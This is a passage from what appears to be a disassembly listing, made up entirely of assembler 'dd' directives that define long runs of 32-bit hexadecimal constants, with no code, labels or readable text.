0E51F643Dh, 0A5825F81h dd 0F84BB50Ch, 0AA51E435h, 5A3AA515h, 4AAB2ACh, 0D18ABC08h dd 7189CB87h, 3F184D90h, 6B2A3DE5h, 1D23B0h, 0B85AABCAh dd 0BC094C05h, 0DEB2446Eh, 0FE22CF3Ah, 0BC5C4AEFh, 5E69C66Bh dd 6B10E129h, 0ED5F7AB7h, 0D7A842h, 0B1494DCBh, 0CF81203Dh dd 1BE18C0Bh, 3AD1D824h, 0F3CA38CAh, 6AB85A7Ah, 97879F4Eh dd 0E65AE9EDh, 0DCFA261Ch, 5D7B3B0Bh, 0BD412615h, 342EC587h dd 0B878FD52h, 37630119h, 0B3E9E178h, 7FC17F26h, 0E0041709h dd 852A311Eh, 8995C751h, 0D8FD7B61h, 1F38263Dh, 406E003Ch dd 2072BB88h, 0AE324B55h, 29856730h, 574CB515h, 0B4065400h dd 0C37877Fh, 2E4C002Fh, 5EC6687Ch, 424E0B04h, 1B23166Bh dd 0B51D22Fh, 7C13A17Dh, 0EE016B05h, 0CC6F198Dh, 0BD5B318Eh dd 5B175D95h, 172B32A5h, 0EF34EE86h, 0ACD186ACh, 4183CD4Ah dd 0E69ED746h, 25923DD5h, 58982CFAh, 1B4EC798h, 3DAB65ACh dd 0CE1BAB9Dh, 0A4516BDh, 9B3AF2DDh, 34688297h, 0BBD7409Eh dd 64113D73h, 0CB6048FCh, 0B9B1D907h, 40529761h, 3559A9A8h dd 0E4FDEB9Fh, 0C0DB0DD4h, 75522AC1h, 476D4950h, 234E47Eh dd 0B38EB35Bh, 0F786C2A0h, 5B6B514Dh, 744F0000h, 6D95099Eh dd 282EF989h, 0D08A2299h, 60284136h, 0F70B81D8h, 755B566Fh dd 0E8EF5118h, 220A59BFh dd 9CBF048Bh, 0DB741154h, 0C01A8868h, 99136C6Eh, 0C8E72E39h dd 1A791200h, 0BE7C7CE7h, 483C29B9h, 41D09ABh, 80825073h dd 0FD2BE6DFh, 5356A8E2h, 0B2774A71h, 63B1D7E0h, 0A1ADF84Eh dd 3179889Dh, 0C481ED69h, 0B01CB8A2h, 25342CBBh, 68E06D1Fh dd 70951AE9h, 1D0B9E1h, 778AB247h, 0C792C87Eh, 5CC18B2Dh dd 3A9BD6AFh, 0E6A9E582h, 4684298h, 128C9047h, 95BA7D2Eh dd 422587D4h, 0F9B189B7h, 0F99093CBh, 3A5B83Eh, 0D4FABBCDh dd 44497721h, 48AF4A71h, 0E63016A9h, 0EC1FABBEh, 0D5D33F81h dd 0B17FE212h, 2213831h, 609082F5h, 0F7A18253h, 25827C5Fh dd 388C79h, 0A23C21BEh, 3059908h, 60074013h, 51B00426h dd 0DD0A8AEAh, 1AE95658h, 8C570300h, 6DB199h, 890B0153h dd 0EEFDF228h, 843B0902h, 0DB90615Ah, 0B6277057h, 58B4490Bh dd 0B1F201E8h, 0EB326AC9h, 4A423E10h, 1A843C8Dh, 0AB916FDFh dd 1CC82F9Ah, 1D1732C0h, 0E491034Ah, 31A9DA9Dh, 64757DA2h dd 9D897C0Ch, 0B47F28A9h, 0B786ECF1h, 0FB121D66h, 4EB6026Ah dd 0CD715E0h, 0B1104F17h, 85BD5913h, 0FF4C884Bh, 479CC70Eh dd 5F1FA0A5h, 6F2017h, 64AE3769h, 31E092C6h, 2E759516h dd 876B3529h, 0E90908A8h, 0EC9C5590h, 1F4E4090h, 0C88CF033h dd 4EA5F4h, 65B57747h, 4552DA5Ch, 97DBE64Ah, 0AB7C5F83h dd 88E406F8h, 0B12AF9Ch, 2BF798ABh, 27C0BD52h, 926C7A90h dd 68BCA211h, 1DD6BB78h, 0D93EADBCh, 2D900261h, 9C9B866h dd 686906B3h, 0CF3D4702h, 0F64B4656h, 4E05F44Bh, 8F52941Fh dd 61C7C1AAh, 0E28A6B17h, 6866F825h, 8C490FEEh, 6AFE842Bh dd 1DB588C0h, 391CB10Ah, 0C8542A27h, 4143E51h, 92351F8h dd 0D3AC20B0h, 12E6082Ah, 0AD9D3370h, 0BEA84A89h, 12A0BD3Ch dd 1FEE852h, 0AF911706h, 0A0C38368h, 18E0C321h, 32C4EB95h dd 5B8129F5h, 0FF27492Bh, 42616DFCh, 52E3369h, 0EC8B620h dd 0B2B2DCADh, 0BB12791Ah, 25B8B329h, 4B928126h, 9901CBC4h dd 32138F96h, 0E23B34D0h, 50AA9664h, 920AEF4h, 7EDA54C4h dd 9F533DACh, 0ADCB7700h, 0D37DB32Eh, 321EACFEh, 26C0BA43h dd 0A3F827CDh, 0C8582Bh, 48F64FC0h, 0D74A7F84h, 1AB34CE0h dd 218CE9EDh, 0B60DB5Ch, 0B6116D9Dh, 32089736h, 0CFA9D190h dd 9407DA0Dh, 412823Ch, 0B1958956h, 955FDEA0h, 5F113DA4h dd 45F5B5C8h, 0DD39444Dh, 0FF8D4625h, 1346B703h, 0EBE63A00h dd 17CE747Fh, 0B5BC0089h, 1D01ED9Ch, 3925B284h, 545364C2h dd 65A13820h, 0BA5B533h, 7B0CFE2Dh, 15A808ACh, 0C5952961h dd 2A040443h, 0BC9FB91Fh, 102716F5h, 91240519h, 8E6A474Ah dd 4EDCE3E1h, 7CA5B2E8h, 55E2900h, 7E3C7D92h, 894CC2EEh dd 0A7D6798Dh, 0DE0DFCA7h, 0EECDFD31h, 282B0DD9h, 5176B592h dd 0BD0FC588h, 2C09493Dh, 95AD58F9h, 9670BBD3h, 0E5A8C443h dd 32FC1318h, 2FB918D8h, 3BFFC80h, 29DF8DD5h, 0B599C02Bh dd 0BA1234A5h, 14DE2AE1h, 0F17AEEC0h, 8D5E2191h, 3D2A78A1h dd 33133A77h, 71C14FE9h, 0C02E6874h, 0D4015960h, 0EFF2B25Fh dd 222B8218h, 0BC82578Dh, 5F041F29h, 0C8949ABBh, 0A568C019h dd 392DDDBAh, 607874DBh, 0A94199BFh, 0F5D305B7h, 1AA439AEh dd 0C6C2C5D6h, 12252EC1h, 2A32F2Bh, 3CA5FBBFh, 5191560Eh dd 8BF72F70h, 0B531B0B0h, 0E880FF5Bh, 0E1B8A091h, 0F8253D63h dd 8A279166h, 250EDEDEh, 0CCC43D2h, 2561911Dh, 124DE1FFh dd 3F3F00CBh, 0B7D2095h, 377BAA32h, 0A9C23740h, 6561D825h dd 4AE911C1h, 291CF5F3h, 0AC2F9295h, 29EBE2F7h, 5C0EB6Dh dd 656056B8h, 0C80EFE01h, 3440F1ABh, 618C9C61h, 0CE31B501h dd 69401CD7h, 37558A70h, 7002BE46h, 0C9EDF4F3h, 5922C5D0h dd 95F9F028h, 0B1D3F28Bh, 12C00170h, 0E12105F7h, 0A0330Ch dd 92EF8CCDh, 0D423AFh, 57B0D7A9h, 442F54B3h, 0CB81AD3Fh dd 29F92392h, 2A091D61h, 863A5C9Dh, 0F1251E2Dh, 0A0FF6E02h dd 0BE1EADB9h, 50DF44B9h, 193918B8h, 9D6AF851h, 9DC150D6h dd 0CE2A1755h, 0DB884ACBh, 5A0900BFh, 483B1DCEh, 8C1203D3h dd 24AB7045h, 84E2EEC1h, 5131019Fh, 2A5BF88Ah, 0B71DC8B3h dd 0AA64B8C8h, 127589D9h, 0C0DFCE37h, 0F8C040h, 3EB89D22h dd 57588CDAh, 0F5006095h, 64FB97C1h, 9D41503Ah, 0FF46505h dd 9913D850h, 5877EEFh, 0E8EB1A15h, 0AB24E00h, 1446338h dd 1DDC6C11h, 2F87C071h, 0D856C04h, 13AA0F16h, 295F61C0h dd 16215BDh, 0B023FA7h, 0E77FEE02h, 961415Ch, 3A2CC1B5h dd 0BF24C44Ah, 19C29E9Eh, 7BE1F5A7h, 6575CE61h, 292D3E30h dd 4AF413C2h, 0F8FC52E9h, 122B98FEh, 0B2A1F4B8h, 3BD61FAAh dd 374F80B0h, 7CF50E44h, 8456BD01h, 0D09AA30h, 7035DB06h dd 0F1274F73h, 0D634562Ch, 8001A46h, 0E1534D85h, 0E49D0D72h dd 7BEB01E1h, 0C0CD8996h, 0E5FE91C3h, 46965B3Dh, 40F6F04h dd 0F3D4DDB7h, 49F297BFh, 2D70CC7Bh, 0CC8F4B0Fh, 0DC5B58B8h dd 0AD5EBBA3h, 57D8C9ABh, 6003B29Ch, 0FA0EBBB8h, 0F3481707h dd 7D72FCCBh, 0E8EE495h, 2D028DD2h, 82E60360h, 50255E26h dd 89B35E5Fh, 0DE11FA8Ah, 4E1B40E9h, 0F64BB0D0h, 8B8925FCh dd 0FB8C985Fh, 0C90F04E3h, 0AE518A3Ch, 260238D9h, 0D5EE2006h dd 980988F2h, 843158F7h, 2DAE2B68h, 0A217761Ch, 8052D110h dd 55B5E78Ah, 0F368B246h, 5525174Eh, 0B9FC5910h, 6525500h dd 266FF7AAh, 8C9E0939h, 0EE005616h, 905B838Dh, 3DB7BFh dd 0BA29C033h, 83A6049h, 0D527A6A7h, 0AD04FC2Dh, 1A596A5Bh dd 3063F019h, 341D710Bh, 242763Dh, 2FB1BD0Bh, 6EFE6104h dd 66980B58h, 0CB80A1EBh, 0F77A7AABh, 66F9B51Bh, 9F644D80h dd 5109F3BBh, 0C4C14BCAh, 1CFA786Bh, 9AFB91h, 0FF921F1Ch dd 3A77E0E2h, 65771925h, 7E571373h, 39464C9Eh, 0D34FB539h dd 9016EABh, 9A540A26h, 53105D9Ch, 1D0061C6h, 0F3819724h dd 25C056BFh, 4C715B71h, 0A1B513DDh, 2DA62ED7h, 0B078C7E2h dd 0C5949E25h, 4FA01A80h, 0EE211E5Eh, 10019065h, 886BDB81h dd 0FD4F067Ch, 30ECC0h, 5D971B4h, 4DDA7953h, 7F926497h dd 0CFF100E3h, 12217CDDh, 4C035492h, 46E9DA5Dh, 0F72CA1DEh dd 0BFADF460h, 7E591929h, 0D6D754A7h, 257C1646h, 66CCBC97h dd 83408742h, 32E0B3Dh, 7FF69639h, 575B5789h, 8BC6722h dd 4DB7100Ch, 9625EC6Eh, 0FADCC956h, 0ADAE013Eh, 0B70316D3h dd 0B9BD2A1Ch, 2D01B3FCh, 0E1931E14h, 0D7DE6632h, 19DA5339h dd 7D38B77Eh, 0AAB21A4Ah, 5E36BD3h, 5927DC0h, 2B09D9EBh dd 0B8564A23h, 0B926FDBDh, 12572619h, 0B5B3AC0Ah, 0BEA4F7A6h dd 0E3F023A1h, 0BF560066h, 4E74F070h, 9BBD605Bh, 408EB366h dd 4BD0810Bh, 0C81E8561h, 6006556h, 8F4B88BBh, 53C5F7Eh dd 0FBF98C0h, 6499AE80h, 3A275CFAh, 4ADFF0F3h, 4A30AF5Bh dd 870A4DBDh, 4015ED25h, 2CB8CBC4h, 3361FF96h, 406915BDh dd 0F0BCF65Bh, 3AA9FAE1h, 0A95AC78Dh, 9089A2F8h, 9BB509Bh dd 143C733h, 0CEBC6958h, 95F502DCh, 0AFB16B2Eh, 4A0135E6h dd 65ED1820h, 8A6E5DC4h, 605A0BCh, 8C17025Bh, 0C72C8AD9h dd 2DD5140h, 526C5E95h, 0FD4B476h, 0DEEF686Bh, 84D93AE9h dd 0B0294600h, 25CFC9h, 0AD2E7F45h, 0C42C4153h, 2B8A7A4Bh dd 0C9880D21h, 0DE0A4F2Bh, 2D85A3B2h, 0C9125410h, 0FF35913h dd 8BE8600h, 15B1AA5h dd 72BA388Bh, 2A546DB8h, 127B82D9h, 0BCBFA904h, 0E1278C15h dd 0E4095C9Eh, 8B422CFEh, 41098AB1h, 8038806h, 0ADD85EBFh dd 0F927ADFCh, 0B58C5304h, 618EF4C6h, 12030D40h, 0AE2991BDh dd 8B01183Dh, 0E9012ED5h, 0F9B12A78h, 0E3B8F63Dh, 0FCA8DD2Dh dd 41D62EDCh, 0C0DF54A3h, 2B1341EBh, 0E8C4999Dh, 60C132ADh dd 3A919523h, 20EF5713h, 0E1E08FE4h, 0D93D5AB0h, 0D4D0827Fh dd 80283044h, 95EF258Bh, 0D68D02B9h, 615E7785h, 9AC7C07Fh dd 68608248h, 6A97E7D3h, 0F0B7035Bh, 7C9BEC61h, 36394EC0h dd 0E74F12D4h, 2348B418h, 879D4FBDh, 37FD89D1h, 2DCB8065h dd 309640FCh, 90E8EA27h, 7C6172h, 9746045h, 0E3C21471h dd 81C3C400h, 7CE98DFh, 49A7A024h, 0FE1F4ABBh, 4C0304Bh dd 0BDF4F94Dh, 97AD9031h, 78BB78E4h, 1278CA70h, 0FE820FBAh dd 0B27028h, 94FFF415h, 63A8272h, 17EDC204h, 6FFB6ADEh dd 0F7640723h, 0F3F13679h, 10E4D309h, 1BB7956Ah, 1CB31F80h dd 4E457640h, 0B04027E8h, 32831238h, 0B95B6000h, 571E30AAh dd 0E379B789h, 0C9FD542Fh, 0EC2FBFFCh, 168F43CAh, 65C851BDh dd 2A2541C9h, 21F78DB4h, 67647284h, 0D912FB52h, 2251AE9h dd 0E3149E37h, 91A24FFEh, 6D537907h, 0F9ACD08Dh, 0D802293Eh dd 0AE9993F6h, 0AFAA7D16h, 2CA4A80Fh, 0CC89819Fh, 0B52DDBBAh dd 6F5E90BAh, 6DF0003Ch, 410D425Ch, 3F00EB26h, 1A8AF75Fh dd 25400AEAh, 8BC7B7E9h, 16BB5308h, 0F5C1818Ah, 45B72A20h dd 0D0A030A0h, 759D3312h, 7B739DEBh, 0F0E741E6h, 8B6269B0h dd 0DC130105h, 0CCBB66FAh, 0A38B864h, 0CABAB6h, 24B7D820h dd 48EBF4A1h, 0B258BCC5h, 4981FFC0h, 5C4FDC1Dh, 5D7BAACh dd 0EE6CB3BEh, 46C0C211h, 7517F2F9h, 0A2589065h, 13F40729h dd 29FEEC41h, 0E800E5E4h, 4FCE1C81h, 5A419A22h, 5736E7B5h dd 244F7D82h, 9DC271EAh, 2F5F3BD1h, 8DB767h, 2869C60Dh dd 8D16FB52h, 2BFA591h, 1B143169h, 3D71003Dh, 88C0F60h dd 315019C0h, 0B52B6595h, 0F49A38C5h, 17A6627h, 0DB4C2A52h dd 0C0B033BAh, 81598531h, 70E600B3h, 6C8840BBh, 71E4120Bh dd 0CFF0E4F5h, 559D8988h, 412B9B0Dh, 17D381EEh, 0B53560D1h dd 1CE62F5Ah, 34B55328h, 0C2A33335h, 0DF5CF9AFh, 17619D84h dd 0FEBDD9EAh, 9E02F10Ah, 0C1D18B80h, 0E59291CFh, 0D57C97E9h dd 150C3DFh, 4D801162h, 81560430h, 0A60889B4h, 592F3877h dd 4703B62h, 97AC34BBh, 22BBB916h, 0E3D2C010h, 53E93DA5h dd 4B75E695h, 22BA8A2Ch, 0C0F49D0Ch, 5301CB60h, 88314BF5h dd 9882DB3h, 26BD21B5h, 0C3298DCFh, 6D01B221h, 0C82A0B60h dd 6160F5F0h, 0B69AE6A2h, 0C0309724h, 558239C9h, 62BCDB10h dd 0E1EB6013h, 4BC532E4h, 36C9C32h, 0C4401F8h, 5F87A2A9h dd 38706EDBh, 259474DEh, 71CA0BE5h, 0B586E0F7h, 0E10264D1h dd 0B940BE8Dh, 79B96661h, 0B8FCEA9Ah, 0C02B2C0Bh, 5802DEC9h dd 2B76B825h, 12EE76D2h, 0EA6CAB26h, 0B7F49D2Bh, 78F4C224h dd 7DEF00DAh, 0AB4B3B7h, 1197CB6Ah, 0E541525Dh, 292E2B09h dd 0A580435Dh, 0C131B9E4h, 11E9B589h, 55142F2Eh, 0B982396Ch dd 0C18AC2Ah, 0AC3B2EE5h, 0A8015E4Dh, 5C87E255h, 9A09F63Ah dd 713ECE4h, 0EB4D31E7h, 0E4C26DD9h, 0C152D45h, 6012305Bh dd 864CB230h, 0ECFA00A2h, 7EFCA3C9h, 0AB12EDAEh, 0D0090161h dd 7E96D531h, 7450A5BBh, 0AEA20B72h, 61EEB9A9h, 0B77C9C00h dd 80E1FF46h, 8A7D4BE7h, 969D2251h, 0A7470Bh, 433302E3h dd 5DE50500h, 0EFBD7C79h, 1209F89Dh, 0E27B8586h, 7E93885Dh dd 6E001D46h, 0A56B399h, 0B2129CE4h, 4AE27401h, 36652B8Dh dd 0BF5DF0EAh, 0D08F0959h, 81FB601Fh, 30F85772h, 21318409h dd 9D6470ADh, 0BBC0064Dh, 4CC5412h, 74E656Fh, 12410EEEh dd 29148DEBh, 27F5A82Eh, 0E6DC1E12h, 3F786825h, 0FD9D8801h dd 6EAE244Bh, 0DC4707h, 7662828Ah, 6D33537h, 60E589FEh dd 51206650h, 0F2594B1Fh, 93E00145h, 0AF091AC3h, 4019E430h dd 614A5E17h, 0DA5BAFB7h, 0A0FC8043h, 164E152Ch, 0EC74B3F7h dd 8A110BBh, 0A53F9026h, 0B37F4AFAh, 0FB318F2Fh, 0B69017CEh dd 0A5BD095Ah, 7C99750Dh, 685182F1h, 0E172BB48h, 27F5BBBh dd 6DB8B7F1h, 5879C8FBh, 193DDF4h, 5E73A8AEh, 2AFD8AAFh dd 21A74E53h, 26CDBFA0h, 6E4CEF14h, 8E516BBh, 8DA19AACh dd 0E9F91001h, 0F72FEFD9h, 0A6D8A095h, 959316B2h, 0B91205DCh dd 0B073AB05h, 21E1B109h, 29BE702Eh, 2D63518Dh, 0EC39BD31h dd 0E20FE6BAh, 0F7CC1Bh, 13607AC7h, 94C0E80Dh, 0F99F9190h dd 0D6B84AFAh, 0BC564D14h, 72412DA7h, 0C5065C47h, 4F045110h dd 2400F3A2h, 0C5EC7629h, 0B34B6AC2h, 710EF8F7h, 0AE77DA55h dd 14298F6Bh, 0FCB81677h, 66B57CCFh, 6181AABEh, 7E090316h dd 7485B4C5h, 312475E9h, 0AC0D343Ah, 4CA75F7Dh, 372300B7h dd 380478B8h, 25B7DF61h, 66A19FB8h, 503BD0BBh, 209ABF03h dd 748B0BD6h, 0C249E151h, 7C58D652h, 0C67CDC6Fh, 4815B95h dd 520D4DBDh, 443D4FB3h, 0C578380h, 0E738CECFh, 67E4B300h dd 0B215088Eh, 0A6B01020h, 0D9D3081Ah, 1946765Fh, 6AC7FD02h dd 8F5C8C6h, 0DEC4CD0Bh, 2731A081h, 0AE54752Eh, 3E046D35h dd 610F23CDh, 79299D87h, 7EDA6E56h, 8225D436h, 1C0D651Dh dd 5AFB2D61h, 7167D0h, 7652250Ah, 873788A7h, 2510E495h dd 24DECE19h, 0B68A4AEEh, 0DF81003Bh, 72046878h, 37E9325Bh dd 8D896037h, 724EF5h, 3AABEAC5h, 0BE44AAB5h, 85019D05h dd 9B52202Dh, 0A4AE3BAAh, 0D4A8C8EDh, 1DFD5B04h, 28812168h dd 0AB042A05h, 0D75C4382h, 7E002937h, 0BEA18EFEh, 508B420Fh dd 2B40EDA9h, 95291651h, 0ACFD9465h, 2BF4A23Dh, 9497EA37h dd 17F04983h, 0B161CE06h, 14544B52h, 384F03C0h, 62705F4Dh dd 0BDF95B50h, 565A5653h, 94DDCB6Bh, 26109018h, 27C7E54Bh dd 50628975h, 0DFBDBDACh, 2C118480h, 79D6E574h, 0EC6050ABh dd 61B5A8D1h, 806EB55Bh, 555A4C93h, 9C804646h, 0FC822D05h dd 80756B53h, 2B8E2878h, 34892DA8h, 0D095BA37h, 0ABB80C8h dd 97661396h, 2FF84B39h, 0C009F020h, 0F2A4FEAFh, 0A18416FAh dd 28D4C8D4h, 3CEB2D00h, 4EB3F12Ch, 0B21E0325h, 9814573Bh dd 5BDF4C0Ah, 28CAC75Fh, 0CDC8C796h, 90EA1D08h, 0F46200B5h dd 6D63AF52h, 67E99D00h, 0CDD67F7Dh, 831A9761h, 9700E5D9h dd 6FA6EF20h, 0C6DC019Fh, 0AB06D55Ah, 70342EB6h, 6BD362ADh dd 59CB126Bh, 242D46E1h, 0A238AFB8h, 0D1A68BC9h, 931BD156h dd 3940901h, 5024BD72h, 0FF12B220h, 814E58E3h, 2E74C54Fh dd 1423576Bh, 0F00BE816h, 73377F6Ah, 0CEC1BA9Eh, 58E050A7h dd 0CF4AD468h, 0FC8A004Eh, 67B3BF96h, 50663915h, 54063D77h dd 9CBC00CDh, 0BA41003h, 0F1D28DA2h, 0DA2AF831h, 0C918C8D8h dd 314068DCh, 0A20325BDh, 6743565Fh, 185F990Fh, 4B0BCFE6h dd 72198A97h, 0C8EC0B8Bh, 0AA0A50A8h, 0EF5294DEh, 0AD5FF916h dd 8C18ACA4h, 93BB853Ah, 1F05F9C4h, 0DBAA1421h, 0D7E6D347h dd 5354662Fh, 7BA20B55h, 8564A1C2h, 5B9DDFEEh, 181D5977h dd 0F2CE00A9h, 9DCB8713h, 6D5A39A7h, 82159FE0h, 5C5D0977h dd 0B8DB44C5h, 2D5BA279h, 0A7F82AA0h, 0D170DA4Ah, 0E07CC0C7h dd 4BE714D4h, 6063AE60h, 4C80CAF8h, 78D2071Eh, 9C66182h dd 2CF518FDh, 21153CE1h dd 231FF380h, 5EFC83C4h, 0FD7A6204h, 0CEAA5F26h, 0EB81007Fh dd 0A6E9196Ah, 0F85C9FF3h, 79E501DEh, 0E01A88B4h, 9282E682h dd 47F52C5Dh, 79ECEB39h, 0C1B09113h, 7F297C62h, 4D55E0E2h dd 6416E4BEh, 82C9C5BEh, 7F291393h, 31796C18h, 9B899C1Dh dd 0A6625240h, 5C8728E4h, 0FE001E06h, 0C4BF9098h, 492AB26Ah dd 20F5D950h, 951A67F1h, 66984BD1h, 17F49F7Dh, 9AE6003Eh dd 0BE98090Dh, 0C1A50189h, 0A19D33DFh, 85F93E22h, 0CAFAE261h dd 0A64FE71Fh, 7EA028FCh, 5801F205h, 89D1CEC6h, 522E11A6h dd 89ADEC8Eh, 7075C490h, 561F0093h, 0DA96EADEh, 3601BB74h dd 6AC3A376h, 23D8B6CAh, 0DFD1C50Dh, 0B8ECED90h, 3FB200DAh dd 0F28A5F9Ch, 0B77CEA97h, 34DB4CD6h, 0BBECAC80h, 6128148Eh dd 0BF27C1A3h, 0AE375799h, 0BC149B81h, 353F4616h, 43C2EA21h dd 5E3AD512h, 809090D5h, 0CC9D000Eh, 6F6C4AC6h, 81025BF5h dd 5DD252F7h, 323A5709h, 0D3B557h, 0F1C2A27Eh, 954F89C9h dd 0B7A300BBh, 80D1FF04h, 8967D73Eh, 5C16C99Dh, 38647133h dd 26AC555h, 18DF6EBBh, 396A6D40h, 8B90800Ah, 0D20DFA48h dd 41044F08h, 62D48ABFh, 0F9DE4BE4h, 79C2DA82h, 17956040h dd 0B5C9E980h, 4085F47h, 0E6462FCBh, 9300C3F8h, 0BB492C6Bh dd 4A028AB2h, 1112E752h, 0A84F2F21h, 92532DC2h, 705688h dd 60CBBCD7h, 20E35B61h, 4948F3ECh, 0FC131219h, 9F3E45E1h dd 5E3689EDh, 3BC4094Eh, 11CFB7D5h, 2A2831Ah, 8BD8E8BCh dd 8B059FA7h, 5B75A626h, 46009BE2h, 506A61BDh, 450015ADh dd 286D446Fh, 9D43A3F6h, 9069F456h, 0E10434h, 86EE903Dh dd 0F4BDEB6Ch, 20FBC700h, 0A719AC63h, 0BDFF4B6Ah, 1C0D2409h dd 0F246E4A5h, 45D41FAFh, 5FBF8348h, 90F9BD77h, 29AE8923h dd 65447131h, 8D93E416h, 70231120h, 63BF00B0h, 0E624AF75h dd 0A45E970h, 0A82BD1D1h, 6BD70176h, 71E4BEE8h, 0C580902Ch dd 0B719DCC8h, 56FEAF13h, 8C5FDF23h, 0DB225AB9h, 542D48B4h dd 0C1BD8E1Fh, 9501C611h, 247799EEh, 98E0094Fh, 0F94B5370h dd 0DC564E82h, 0D1DF42E4h, 40DDF2E2h, 7D99ECh, 0FE4689B1h dd 5B73FC86h, 329CC95h, 8AA1622Fh, 0CAAC8704h, 23B11859h dd 4FE9D17Dh, 3FC78A7Fh, 0D8484566h, 0E92309BBh, 6E70101Ch dd 1A99F4A0h, 80124A83h, 541BD3Dh, 4BEF8088h, 97792C9h dd 0BDFB8B10h, 0F84B52C4h, 7051708Dh, 0F26F95AFh, 38F990F5h dd 648A4BEDh, 0DFC9C85Bh, 0E2BBD000h, 0F11B9F04h, 0A1419840h dd 654395ACh, 3259B129h, 10268A2Bh, 0A9934A72h, 0F3B8B0h dd 0AA4ACC41h, 0B9D33E63h, 4AAAF24Ch, 9D08E9A6h, 61882635h dd 0B90F1611h, 53B770B9h, 17758CDDh, 0FC3CE1F7h, 4DFDB523h dd 1C8C8FFh, 0CB99D5Eh, 0F6D22B12h, 0EFE1E0FAh, 0B5539551h dd 0D4F5D469h, 32FAD01Dh, 39585B44h, 0E4257783h, 499C1FFh dd 0FD9B6F1Bh, 127DB7D6h, 85E2C569h, 5BB14750h, 80309C11h dd 0CC6CC725h, 0A1BD1080h, 7023E904h, 6B9F1400h, 0A834A2F0h dd 0C5864900h, 6F7C8344h, 51D02795h, 0C300E0E4h, 298AC43Ch dd 696C2Ch, 0C5845E46h, 91715C6Ah, 0F95FA109h, 4484715Bh dd 28FC5353h, 91B541E7h, 6E7E090Dh, 0C7591D1Fh, 4DFC9C56h dd 57263520h, 0BC604260h, 9598Fh, 5C82346Ch, 0DE07FE29h dd 7549A902h, 0C25A571Eh, 5050567Eh, 6FBD0489h, 3F2B4728h dd 0A0A118E0h, 6AF3F95Bh, 60D985F0h, 0B9CF341Ah, 0F01F29Ch dd 45CDBF52h, 0F27F2397h, 0A560C8E0h, 0FE05111Ah, 0F5CEBB85h dd 4118609h, 2283D55h, 50F8F9CEh, 99720255h, 93340F33h dd 85953104h, 53600930h, 48AA710Eh, 90983365h, 31531665h dd 80B420EBh, 614A0DF5h, 77AC1284h, 351DE84Ah, 51FF955Dh dd 0ABAC74CDh, 0FC8CB812h, 0D3EB53E4h, 8183DB1Fh, 0DF8BE368h dd 92FEA73Ah, 0AEA59CF6h, 0D9A598h, 0CB81ECE8h, 6971056Ah dd 51FFC197h, 24FF217Ah, 0B2CF0728h, 0BD8B0CA4h, 0AC686210h dd 0ECC79D19h, 0C62F603Ah, 0C5993E0Eh, 9ABA1080h, 696CEDA9h dd 0FF4E98h, 5766533Eh, 0DA8B2D13h, 9DD62CFCh, 0FB638130h dd 0A93B9C09h, 8208716Ch, 229E9FCh, 6C60BF4Fh, 4825BB3h dd 18EBE9C9h, 0C1FFACCEh, 3035BD33h, 0C985090Bh, 0CB37D512h dd 74801891h, 404DA063h, 57B3604Fh, 9B1DBA00h, 2B612662h dd 2F119D12h, 0FAD3C6ADh, 2ED825D8h, 2330689h, 26AAB16h dd 505F344Ch, 432D282h, 0B8AC5Fh, 609661B3h, 2F9BBE66h dd 0FFD28AEEh, 4ED5FC82h, 0FFB624C2h, 765CBF1Bh, 44A40E41h dd 0B39912D6h, 0A0F696C9h, 4D5359A0h, 9637C116h, 2F2705ACh dd 3AC018FDh, 794800B1h, 2E7DE471h, 0BB0087C3h, 0C0868A5Bh dd 91EA202h, 8D0FF9D1h, 5F59455Eh, 53F1282Bh, 31958D98h dd 87485F6Fh, 0F09141B0h, 655D4BFh, 0CF269D85h, 434E5CA5h dd 0BD7F6B3h, 54001E59h, 77FDA53Dh, 25C704Bh, 18F744Eh dd 0ED60AB2Fh, 0BD094A30h, 715F5B24h, 0AEFB9623h, 833D006Fh dd 6B02B1ADh, 295CD69Dh, 0F620F627h, 6FDC5609h, 0FA06475h dd 4F29FF1Fh, 12A638E0h, 0C003B51h, 0B2BC50F3h, 275AD161h dd 0C35AE206h, 0C0A7ED95h, 0D43F3AD5h, 0DCBC9550h, 922AE04Ch dd 4F00987Bh, 0ED646B53h, 1F07CB39h, 80BF444Bh, 0C1600892h dd 0A86A6125h, 71D8C92Dh, 0F6DEB54h, 7A457549h, 76274A1Ch dd 0E5FEF405h, 991FE907h, 3E57B0D2h, 0D03A530Bh, 3E0A9B78h dd 86E81CDBh, 0D7EAFE25h, 0F9601CC4h, 4B0003A0h, 26CAFA38h dd 759D316Eh, 3F229765h, 8957D701h, 4F0E59A8h, 3E0A4C51h dd 9DACCE39h, 264FC5E3h, 0B0BCDCBDh, 0A83BBD05h, 9FEBB5FFh dd 1AB38127h, 352ED519h, 0C9A68122h, 32A66A29h, 775A6F5h dd 0B0B931ECh, 0B90E6123h, 0C60F97Dh, 0A8305A41h, 0CDAB5E5h dd 6302238Bh, 96001C7Dh, 1DF2EEBFh, 0EF50776Bh, 0E3F15A13h dd 0FB49ECBBh, 0A7941200h, 16407C46h, 0DCD95E2h, 8D601B64h dd 3203C99Dh, 0DAB2779Eh, 2ED4C733h, 5A438BAAh, 27BF06Ah dd 0CA8F57ACh, 0CBA96A39h, 809EBDFDh, 0D7CE3498h, 9A09807Fh dd 0D51A8F27h, 21DFD231h, 8EA83A71h, 235FA0D7h, 0B4DD705Ah dd 0FF1A523Bh, 5400B77Bh, 5DD34272h, 4A2F8AC7h, 54B46298h dd 355325E0h, 0D3B88609h, 0E5E0D8E2h, 0A1C94A00h, 95741C27h dd 4CF56B97h, 96C74B6Dh, 0BD939AF1h, 4E194620h, 962AAE1Fh dd 0AA83D3DDh, 71EB2812h, 6A2A05BDh, 15C87C9Bh, 20F003C3h dd 965A31B7h, 812C25EAh, 7E5B5FF9h, 0F33B18Ch, 0D84E5C19h dd 45C2E0B3h, 16791456h, 6BAAFA8Bh, 73605FDAh, 98116333h dd 2D1D25A7h, 697E16D5h, 2C0F3333h, 0D12C32C8h, 0C69F6328h dd 0D4EA9F43h, 29DA1057h, 74DE0098h, 0A1AC8B9Fh, 3700A42Ch dd 0BC451003h, 64506FD1h, 0FA55E278h, 9FAACB53h, 18E2C469h dd 4710FA64h, 5B30922Ch, 0A73991h, 2D5E41D5h, 0B435EED1h dd 8D4C2416h, 0E38462A9h, 0A2CCAC41h, 0C0FCCF64h, 0C7D3ECA4h dd 0FC791017h, 1AACAFFDh, 3709008Ch, 0D064B0CEh, 0D397C6F6h dd 2EB400AAh, 213D3854h, 831B8105h, 17BBFFC5h, 5F00A97Ch dd 67ED2DF9h, 39A06BAh, 9D129BDh, 0FFF42EE9h, 0C71A6D5Fh dd 0FEEB8110h, 